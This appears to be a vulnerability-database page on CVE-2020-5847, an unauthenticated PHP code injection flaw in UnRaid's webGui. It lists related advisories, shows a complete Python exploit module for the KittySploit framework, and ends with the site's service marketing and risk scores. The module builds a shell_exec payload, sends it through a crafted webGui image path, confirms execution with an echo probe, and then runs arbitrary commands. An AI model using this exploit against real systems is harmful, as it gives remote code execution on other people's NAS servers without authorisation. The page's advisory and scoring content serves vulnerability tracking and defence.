UnRaid webGui PHP RCE (CVE-2020-5847)
| Reporter | Title | Published | Views | Family All 31 |
|---|---|---|---|---|
| Unraid 6.8.0 Authentication Bypass / Arbitrary Code Execution Exploit | 18 Apr 202000:00 | – | zdt | |
| CVE-2020-5849 | 16 Mar 202000:00 | – | attackerkb | |
| CVE-2020-5847 | 16 Mar 202000:00 | – | attackerkb | |
| The vulnerability of the Unraid operating system, related to improper code generation, allows a hacker to execute arbitrary code. | 4 Jan 202200:00 | – | bdu_fstec | |
| CVE-2020-5847 | 16 Apr 202022:27 | – | circl | |
| Unraid Remote Code Execution Vulnerability | 3 Nov 202100:00 | – | cisa_kev | |
| Unraid Authentication Bypass Vulnerability | 3 Nov 202100:00 | – | cisa_kev | |
| Unraid Remote Code Execution Vulnerability | 17 Mar 202000:00 | – | cnvd | |
| Unraid Remote Code Execution (CVE-2020-5847; CVE-2020-5849) | 30 Nov 202100:00 | – | checkpoint_advisories | |
| CVE-2020-5847 | 16 Mar 202017:23 | – | cve |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""UnRaid webGui PHP injection RCE (CVE-2020-5847)."""
import hashlib
import urllib.parse
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'UnRaid webGui PHP RCE (CVE-2020-5847)',
'description': (
'Exploits CVE-2020-5847 in UnRaid <=6.80: PHP code injection via webGui '
'template parameters allows unauthenticated remote code execution.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2020-5847'],
'platform': Platform.MULTI,
'payload': {'default': 'nopayload'},
'references': ['https://nvd.nist.gov/vuln/detail/CVE-2020-5847'],
'tags': ['unraid', 'nas', 'rce', 'kev', 'vkev'],
'agent': {
'risk': 'critical',
'effects': ['active_exploitation', 'remote_code_execution'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'rce'],
'chain': {'suggested_followups': ['scanner/http/cve_2020_5847_detect']},
},
}
def execute(self, cmd: str) -> str:
php = f'<?php echo shell_exec("{str(cmd).replace(chr(34), chr(92)+chr(34))}"); ?>'
q = urllib.parse.quote(php, safe='')
path = f'/webGui/images/green-on.png/?path=x&site[x][text]={q}'
r = self.http_request(method='GET', path=path, allow_redirects=False)
return (r.text or '') if r else ''
def check(self):
probe = hashlib.md5(b'CVE-2020-5847').hexdigest()
body = self.execute(f'echo {probe}')
if probe in (body or ''):
return {'vulnerable': True, 'reason': 'CVE-2020-5847 confirmed', 'confidence': 'high'}
return {'vulnerable': False, 'reason': 'UnRaid injection failed', 'confidence': 'medium'}
def check_execute(self):
token = self.random_text(8)
return token in (self.execute(f'echo {token}') or '')
def run(self):
if not self.check_execute():
self.not_vulnerable()
return False
return self.handler_execute()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
05 Oct 2026 14:20Current
8.7High risk
Vulners AI Score8.7
CVSS 3.19.8
CVSS 210
EPSS0.95844
SSVC